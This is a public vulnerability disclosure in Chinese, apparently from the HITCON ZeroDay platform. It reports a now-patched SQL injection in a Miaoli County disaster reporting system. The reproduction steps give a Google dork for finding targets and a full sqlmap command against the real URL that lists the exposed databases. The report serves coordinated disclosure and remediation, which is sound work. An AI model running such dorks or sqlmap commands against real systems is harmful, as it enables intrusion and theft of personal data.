Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2025-01377
- Vendor: TACERT台灣學術網路危機處理中心
- Title: 苗栗縣政府 防災系統檔案下載功能資料庫注入漏洞
- Introduction: 防災通報系統檔案下載功能存在 SQL 注入漏洞,可存取災害通報資料庫
處理狀態
目前狀態
公開
Last Update : 2025/12/04
-
新提交
-
已審核
-
已通報
-
已修補
-
未複測
-
公開
處理歷程
- 2025/10/31 01:40:04 : 新提交 (由 肉 更新此狀態)
- 2025/11/03 01:03:43 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/11/05 15:14:37 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/11/05 15:14:37 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/11/05 15:14:37 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/11/26 09:34:19 : 已修補 (由 組織帳號 更新此狀態)
- 2025/12/04 03:00:11 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2025-01377
- 通報者:kevin2758 (肉)
- 風險:高
- 類型:資料庫注入攻擊 (SQL Injection)
參考資料
攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
https://disaster.mlc.edu.tw/Module/Home/Index.php
https://disaster.mlc.edu.tw/downloadfile.php?code=Fill_Re&id=162378e10e93df5b8bb7abf9a54cc5ff&download=true&num=2
https://disaster.mlc.edu.tw/downloadfile.php?code=Fill_Re&id=162378e10e93df5b8bb7abf9a54cc5ff&download=true&num=2
敘述
防災系統檔案下載頁面的 code 參數存在 SQL 注入漏洞
重現步驟
- 透過 Google Dork 發現目標:site:*.tw ext:php inurl:download
- 觀察單引號造成頁面有變化
- 使用 sqlmap 測試:
sqlmap -u "https://disaster.mlc.edu.tw/downloadfile.php?code=Fill_Re&id=162378e10e93df5b8bb7abf9a54cc5ff&download=true&num=2" --batch --random-agent --threads=1 --banner --dbs
影響範圍
可存取以下資料庫:
mlc_disaster - 防災通報系統主資料庫
mysql - MySQL 系統資料庫
information_schema - 資料庫結構資訊
test - 測試資料庫
影響
- 資料外洩: 災害通報記錄、師生個資可能外洩
- 系統舊: MySQL 5.1.73、PHP 5.3.3、CentOS 6
- 權限提升: 可能透過 mysql 資料庫進行權限提升
修補建議
1. 使用參數化查詢 (Prepared Statements) 修復 SQL 注入
2. 實施 Web Application Firewall (WAF)
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。